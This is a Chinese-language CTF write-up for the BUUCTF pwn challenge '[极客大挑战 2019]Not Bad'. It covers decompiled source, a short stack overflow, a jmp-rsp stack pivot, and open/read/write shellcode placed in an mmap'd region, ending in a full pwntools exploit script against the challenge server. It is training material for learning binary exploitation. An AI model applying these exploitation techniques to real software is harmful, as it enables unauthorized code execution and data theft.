极客大挑战 2019 Not Bad

【BUUCTF】刷题记录:[极客大挑战 2019]Not Bad

[极客大挑战 2019]Not Bad

保护&源码

保护:

image-20240302141924012

源码:

__int64 __fastcall main(int a1, char **a2, char **a3)
{
mmap((void *)0x123000, 0x1000uLL, 6, 34, -1, 0LL);
sub_400949();
sub_400906();
sub_400A16();
return 0LL;
}
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Easy shellcode, have fun!");
read(0, buf, 0x38uLL);
return puts("Baddd! Focu5 me! Baddd! Baddd!");
}

思路

​ 没有开NX保护,大概率要用shellcode,但是本题开了沙箱,我们只能以open,read,write这样的方式获取flag了。有栈溢出,只能溢出0x10个字节,而buf本身也只有0x20个字节,二者都达不到我们写的shellcode的长度,我们只能想其他办法。

mmap()函数用于将一个文件或者设备映射到内存中,从而允许对其进行直接的读写操作。本题中mmap为我们分配了一块可读可写的内存,起始地址为0x123000长度为0x1000一个内存页。

//函数原型
void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);

​ 也就是说我们可以把shellcode布置到mmap为我们分配的地址上,然后再调用shellcode所在的地址即0x123000即可。这一步的payload如下:

mmap = 0x123000
call_0x123000 = asm('''mov rax,0x123000;call rax''')
payload = asm(shellcraft.read(0,mmap,0x100))+call_0x123000

​ 我来解释一下上面的内容:shellcraft.read(0,mmap,0x100)的意思是从标准输入中读入数据写到mmap为我们分配的地址上,然后用mov rax,0x123000;call rax这两个指令,调用即可。

​ 但是我们只能溢出16个字节,上面这些肯定超出了16个字节,所以我们可以把这些布置到buf中,然后再栈迁移到buf的起始地址即可,完整的payload如下:

mmap = 0x123000
jmp_rsp = 0x400A01
sub_rsp_jmp = asm('''sub rsp,0x30;jmp rsp''')
#buf+ebp+返回地址(jmp rsp) 一共0x30个字节,也就是控制程序执行流到buf的起始地址开始执行
call_0x123000 = asm('''mov rax,0x123000;call rax''')
#0x123000这个地址放的有shellcode,这里的意思就是执行shellcode

payload = (asm(shellcraft.read(0,mmap,0x100))+call_0x123000).ljust(0x28,b'\x00')
payload += p64(jmp_rsp)+sub_rsp_jmp

​ 然后我们利用shellcraft生成open,read,writeshellcodeshellcraftpwntools库的一部分,是一个用于生成各种shellcode的模块。

#open('./flag')  打开根目录下的flag文件
#read(3,addr,0x50) 3是上面打开的新文件的文件描述符
#write(1,addr,0x50)

mmap = 0x123000
orw_shellcode = shellcraft.open('./flag')
orw_shellcode += shellcraft.read(3,mmap,0x50) #这里我们把读出来的内容放到mmap分配给我们的内存地址上
orw_shellcode += shellcraft.write(1,mmap,0x50)

exp

from tools import *
#p = process('./bad')
p = remote("node5.buuoj.cn",28453)
#debug(p)
context.arch='amd64'

mmap = 0x123000
jmp_rsp = 0x400A01
sub_rsp_jmp = asm('''sub rsp,0x30;jmp rsp''')
call_0x123000 = asm('''mov rax,0x123000;call rax''')
payload = (asm(shellcraft.read(0,mmap,0x100))+call_0x123000).ljust(0x28,b'\x00')
payload += p64(jmp_rsp)+sub_rsp_jmp
p.recvline()
p.sendline(payload)

orw_shellcode = shellcraft.open('./flag')
orw_shellcode += shellcraft.read(3,mmap,0x50)
orw_shellcode += shellcraft.write(1,mmap,0x50)
shellcode = asm(orw_shellcode)
p.sendline(shellcode)

p.interactive()

拿到flag

image-20240302212556600